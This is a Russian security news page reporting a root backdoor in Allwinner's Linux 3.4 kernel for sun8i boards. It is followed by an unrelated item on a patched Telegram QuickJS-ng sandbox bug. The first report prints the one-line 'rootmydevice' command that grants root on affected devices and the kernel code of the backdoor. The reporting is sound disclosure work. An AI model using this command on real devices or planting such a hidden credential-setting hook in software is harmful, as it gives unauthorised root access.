Обнаружен бэкдор в отладочном коде ядра Linux для систем Allwinner

Обнаружен бэкдор в отладочном коде ядра Linux для систем Allwinner

Обнаружен бэкдор в отладочном коде ядра Linux для систем Allwinner

Разработчики Linux-дистрибутива Armbian обратили внимание на бэкдор, присутствующий в варианте ядра Linux, предлагаемом для устройств на базе процессоров Allwinner семейства sun8i (H3, A83T и H8). Бэкдор позволяет получить привилегии root через запись строки "rootmydevice" в файл "/proc/sunxi_debug/sunxi_debug".

   $ id
   uid=1000(user) gid=1000(user) 
   $ echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug 
   $ id
   uid=0(root) gid=0(root) 

Проблеме подвержены дистрибутивы и прошивки, использующие предлагаемое компанией Allwinner ядро Linux 3.4, поставляемое в составе официального BSP для Android. Например, бэкдор присутствует во всех основанных на ядре 3.4 системных образах для плат с процессорами Allwinner H3, A83T и H8, включая Orange Pi, FriendlyARM, SinoVoip M2+ и M3 Banana Pi, Cubietruck и LinkSprite pcDuino8 Uno, пишет opennet.ru.

Для предоставления прав root в обработчике sunxi_proc_su_write используется следующий код, выставляющий привилегии root текущему процессу:

        if(!strncmp("rootmydevice",(char*)buf,12)){
		cred = (struct cred *)__task_cred(current);
		cred->uid = 0;
		cred->gid = 0;
		cred->suid = 0;
		cred->euid = 0;
		cred->euid = 0;
		cred->egid = 0;
		cred->fsuid = 0;
		cred->fsgid = 0;
		printk("now you are root\n");
	}

Бэкдор позиционируется как отладочный режим, упрощающий получение прав root на портативных устройствах на базе платформы Android. В настоящее время уже подготовлен патч, переводящий бэкдор в форму отключенной по умолчанию опции. Проблема уже устранена в выпуске дистрибутива Armbian 5.10. 

Подпишитесь на новости

Обновите Telegram для Android: версия 13.2.2 закрыла опасную уязвимость

Telegram исправил уязвимость в HTML-виджетах, которые мессенджер открыл для ботов 9 ноября. Через ошибку скрипт из обычного сообщения мог выйти за пределы песочницы и выполнить машинный код на устройстве. Проблема находилась в движке JavaScript QuickJS, который Telegram использует в собственном форке QuickJS-ng.

Патч описан в журнале изменений песочницы виджетов Telegram на GitHub. Парсер QuickJS принимал конструкцию await using в заголовке цикла даже внутри обычных, неасинхронных функций.

В таком случае движок завершал функцию по пути для асинхронного кода и не закрывал ссылки на ее локальные переменные. Вложенные функции после возврата продолжали обращаться к уже освобожденному участку стека. Такой класс ошибок называют use-after-return.

О проблеме сообщили применительно к Telegram для Android 13.2.1, но, по данным Telegram, она затрагивала все платформы, где собирается форк движка. Исправление внесли 10 ноября: теперь парсер выдает синтаксическую ошибку на такую конструкцию. В тот же день вышла версия Telegram для Android 13.2.2.

Уязвимый код попал в основную ветку QuickJS-ng 16 мая вместе с поддержкой явного управления ресурсами. Ошибку описал разработчик Андреас Рёсдал.

9 ноября он опубликовал в репозитории QuickJS-ng аудит безопасности всего движка, проведенный с помощью модели Claude от Anthropic. В отчете 27 находок, уязвимость с await using в нем третья, с высоким уровнем опасности.

RSS: Новости на портале Anti-Malware.ru